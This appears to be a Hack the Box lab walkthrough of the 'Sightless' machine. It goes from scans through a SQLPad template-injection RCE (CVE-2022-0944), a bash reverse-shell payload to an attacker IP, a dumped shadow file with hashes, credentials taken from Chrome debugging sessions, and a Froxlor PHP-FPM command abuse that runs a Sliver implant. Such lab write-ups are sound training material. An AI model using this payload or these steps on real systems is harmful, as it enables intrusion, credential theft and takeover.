0bit

Hack the Box – Sightless

Jan 11, 2025 | Walkthrough

Starting with a prelimnary TCP port scan, the only ports available on the host are SSH, FTP, and HTTP on default ports.

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c96e3b8fc6032905e5a0ca0090c95c52 (ECDSA)
|_  256 9bde3a27773b1be1195f1611be70e056 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/

Reviewing the web page associated, there are a number of services listed. The SQLPad button reveals another virtual host, sqlpad.sightless.htb.

After adding that host to my local /etc/hosts, it is possible to navigate to the site. The About page reveals that the application is version 6.10.0, and that the projcet page is available at http://getsqlpad.com/.

Researching the associated application reveals a remote code exection CVE, CVE-2022-0944, which is present in versions of the application below 6.10.1, so the version present is vulnerable. Searching further information for the CVE, a proof of concept can be found.  The command in the PoC, however, only executes the id command. Instead, I will run a command to get a reverse shell. So, rather than the PoC, below

{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}

The payload I use will be

{{ process.mainModule.require('child_process').exec('bash -i >& /dev/tcp/10.10.14.3/443 0>&1') }}

The shell can then be caught with netcat.

Reviewing the host, however, the shell is absent many common commands, and the root directory contains docker-entrypoint, indicating that the shell is within a Docker container in which SQLPad is running as root.

Checking /etc/shadow, does reveal an additional user, michael, for which login is allowed and a password hash is present.

root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

It was possible to recover the password hash using Hashcat. The password was then tested against the primary machine with user michael, and found to be valid.

Using netstat, it is possible to review listening services on the host.

-bash-5.1$ netstat -tnlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:49277         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41203         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:39083         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -     

A Sliver implant was dropped on the machine, and the Socks functionality was used to conduct port and service scanning of the internally accessible ports.

# Nmap 7.93 scan initiated Fri Jan 10 22:47:02 2025 as: nmap -sT -sV -sC -p 8080,3306,3000,49277,41203,39083,33060 -oA internal_scan 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.085s latency).

PORT      STATE SERVICE VERSION
3000/tcp  open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     X-DNS-Prefetch-Control: off
|     Strict-Transport-Security: max-age=15552000; includeSubDomains
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Referrer-Policy: same-origin
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 722
|     ETag: W/"2d2-dAYwY7qyD08NuZla+rFyq6/Qg9k"
|     Date: Sat, 11 Jan 2025 03:47:16 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="X-UA-Compatible" content="IE=edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>SQLPad</title>
|     <link rel="shortcut icon" href="/favicon.ico">
|     <!-- tauCharts css must be in a known path we can ref for image exports -->
|     <link rel="stylesheet" href="/javascripts/vendor/tauCharts/tauCharts.min.css" type="text/css" />
|     <script type="module" crossorigin src="/assets/index.33f5cd02.js"></
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-DNS-Prefetch-Control: off
|     Strict-Transport-Security: max-age=15552000; includeSubDomains
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Referrer-Policy: same-origin
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 722
|     ETag: W/"2d2-dAYwY7qyD08NuZla+rFyq6/Qg9k"
|     Date: Sat, 11 Jan 2025 03:47:34 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="X-UA-Compatible" content="IE=edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>SQLPad</title>
|     <link rel="shortcut icon" href="/favicon.ico">
|     <!-- tauCharts css must be in a known path we can ref for image exports -->
|     <link rel="stylesheet" href="/javascripts/vendor/tauCharts/tauCharts.min.css" type="text/css" />
|     <script type="module" crossorigin src="/assets/index.33f5cd02.js"></
|   Help, NCP: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close
3306/tcp  open  mysql   MySQL 8.0.39-0ubuntu0.22.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.39-0ubuntu0.22.04.1
|   Thread ID: 6022
|   Capabilities flags: 65535
|   Some Capabilities: LongColumnFlag, SupportsLoadDataLocal, FoundRows, SupportsCompression, Speaks41ProtocolNew, InteractiveClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, Support41Auth, LongPassword, IgnoreSigpipes, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, SupportsTransactions, ODBCClient, ConnectWithDatabase, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: 4U(HZ\x01\x07,_q\x1E\x035ne\x0B6d'\x18
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.36_Auto_Generated_Server_Certificate
| Not valid before: 2024-05-15T03:51:22
|_Not valid after:  2034-05-13T03:51:22
8080/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-title: froxlor - Domain not configured
|_Requested resource was notice.html
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.52 (Ubuntu)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
39083/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Date: Sat, 11 Jan 2025 03:48:27 GMT
|     Content-Length: 19
|     Content-Type: text/plain; charset=utf-8
|     404: Page Not Found
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 404 Not Found
|     Date: Sat, 11 Jan 2025 03:47:16 GMT
|     Content-Length: 19
|     Content-Type: text/plain; charset=utf-8
|     404: Page Not Found
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Date: Sat, 11 Jan 2025 03:47:22 GMT
|     Content-Length: 19
|     Content-Type: text/plain; charset=utf-8
|_    404: Page Not Found
41203/tcp open  unknown
49277/tcp open  unknown

A web service is present on port 8080, so that was checked first. Access to the service was established using local SSH port forwarding. The page was found to be a login page for Froxlor, a server management panel. A check of the Apache configuration in /etc/apache2/sites-available indicated that the  site files were contained in /var/www/html/froxlor, however a review of that directory showed that user michael had no permission to access it.

-bash-5.1$ ls -lah
total 16K
drwxr-xr-x  4 root     root     4.0K May 21  2024 .
drwxr-xr-x 15 root     root     4.0K Aug  9 11:30 ..
drwxrwx---  3 www-data www-data 4.0K Aug  9 10:56 html
drwxr-xr-x  4 www-data www-data 4.0K Aug  2 10:01 sightless

Checking additional the additional ports accessible by grepping for them in the output of ps aux, there are sessions running of Chrome remote debugging.

-bash-5.1$ ps aux | grep -E '(33060|39083|41203|49277)'
john        1624  0.3  0.3 33630172 15308 ?      Sl   00:44   1:00 /home/john/automation/chromedriver --port=49277
michael    44558  0.0  0.0   6612  2308 pts/4    S+   05:33   0:00 grep -E (33060|39083|41203|49277)

The ports were forwarded using SSH so they could be accessed locally. By opening chrome://inspect/-devices#devices in Chrome, it is possible to these ports. One of them showed connections to http://admin.sightless.htb.

Connecting to the Dev Tools allowed viewing of network requests. Among the requests made was a POST request to index.php. The payload of the post request contained credentials for Froxlor. These were found to be valid for the Froxlor instance. The site on logging in showed that it was version 2.1.8. There did not appear to be any vulnerabilities for this version.

While reviewing the functionality of the application, it was found that the PHP-FPM section allowed the specification of a restart command. A Sliver shell was uploaded to the host to /tmp/mt. A new PHP-FPM version profile was configured, and the restart command was changed to /tmp/mt.

On saving the profile, nothing happened. A further review of the application located a PHP-FPM panel in the Settings section.

After disabling, then re-enabling PHP-FPM, an implant session was returned, resulting in full compromise of the machine.